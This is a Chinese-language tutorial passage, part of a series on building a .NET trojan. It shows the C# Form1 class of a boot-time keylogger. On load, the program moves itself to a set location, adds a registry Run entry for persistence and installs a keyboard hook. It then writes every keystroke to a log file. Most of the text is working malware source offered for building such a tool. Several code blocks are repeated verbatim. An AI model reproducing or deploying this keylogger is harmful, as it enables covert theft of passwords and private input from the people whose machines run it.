net木马的实现-开机键盘记录
2 From1类
前面我们看到Hook类的实现,现在我们在来看看From1是怎么捕获到键盘事件并处理的.
首先还是他的构造函数
private Hook MyHook;
private Report MyReport;
private RegistryReport MyRegistryReport;
private string keyEvents,keyDate;
public Form1() {
InitializeComponent();
MyHook = new Hook();
MyReport = new Report();
MyRegistryReport = new RegistryReport();
}
private Report MyReport;
private RegistryReport MyRegistryReport;
private string keyEvents,keyDate;
public Form1() {
InitializeComponent();
MyHook = new Hook();
MyReport = new Report();
MyRegistryReport = new RegistryReport();
}
这里我们没有什么好讲的.就是实例话前面介绍的那3个类
private void Form1_Load(object sender, System.EventArgs e)
{
this.MyRegistryReport.MoveFile(); //把应用程序文件移动到指定位置
this.MyRegistryReport.registryRun();//在注册表中添加启动项
this.MyReport.FirstWrite();
this.MyHook.SetHook(); //安装钩子
this.MyHook.KeyboardEvent += new KeyboardEventHandler(MyHook_KeyboardEvent);
}
{
this.MyRegistryReport.MoveFile(); //把应用程序文件移动到指定位置
this.MyRegistryReport.registryRun();//在注册表中添加启动项
this.MyReport.FirstWrite();
this.MyHook.SetHook(); //安装钩子
this.MyHook.KeyboardEvent += new KeyboardEventHandler(MyHook_KeyboardEvent);
}
在窗体载入的时候,我们调用了MyRegistryReport类的MoveFile方法(就是把应用程序文件移动到指定位置)和registryRun方法(就是在注册表中添加启动项),然后执行MyReport类的FirstWrite方法(既在记录文件中加一句启动的话,我们后面在讲),最后,我们安装钩子,并且在MyHook_KeyboardEvent函数中捕获键盘事件.
private void MyHook_KeyboardEvent(KeyboardEvents keyEvent, Keys key)
{
this.keyEvents = keyEvent.ToString();
this.keyDate = key.ToString();
this.MyReport.WriteDate(keyEvents,keyDate);
}
{
this.keyEvents = keyEvent.ToString();
this.keyDate = key.ToString();
this.MyReport.WriteDate(keyEvents,keyDate);
}
这个很简单就不多说了,就是把键盘事件传来的2个参数keyEvent, key传递给MyReport类的WriteDate的方法,用来向记录文件中写如信息.
好了,这下你应该很清楚程序的结构了,最后我们在来看看RegistryReport, Report的实现.